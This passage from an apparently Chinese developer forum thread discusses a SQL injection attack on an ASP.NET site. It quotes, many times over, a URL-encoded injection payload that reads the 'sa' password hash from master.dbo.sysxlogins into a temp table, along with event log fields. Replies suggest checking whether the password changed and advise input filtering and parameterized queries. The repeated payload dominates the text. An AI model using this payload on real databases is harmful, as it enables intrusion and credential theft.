=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;create%20table%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;

Answer 4

出异常了应该是语句未被执行。
你直接看密码是不是被改成 “96e79218965eb72c92a549dd5a330112”不就行了嘛。有注入漏洞。应该是没有成功吧

Answer 5

20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2Dtable%20WCRTEMP00003(tmp%20varchar(255));declare%20@b%20varbinary(256),@s%20varchar(256);select%20@b=password%20%20from%20master.dbo.sysxlogins%20where%20name=0x73006100;exec%20master..xp_varbintohexstr%20@b,@s%20out;insert%20into%20WCRTEMP00003%20select%20@s%2D%2D 
    请求路径: %21 
    用户主机地址: %22 
    用户: %23 
    是否已经过身份验证: %24 
    身份验证类型: %25 
    线程帐户名: %26 
 
线程信息: 
    线程 ID: %27 
    线程帐户名: %28 
    是否正在模拟: %29 
    堆栈跟踪: %30 
 
自定义事件详细信息: 
%14有关更多信息，请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

Answer 6

晕当然要处理了，处理Request.QueryString 和Request.Form进行过滤  到SQL执行处采用@参数传递。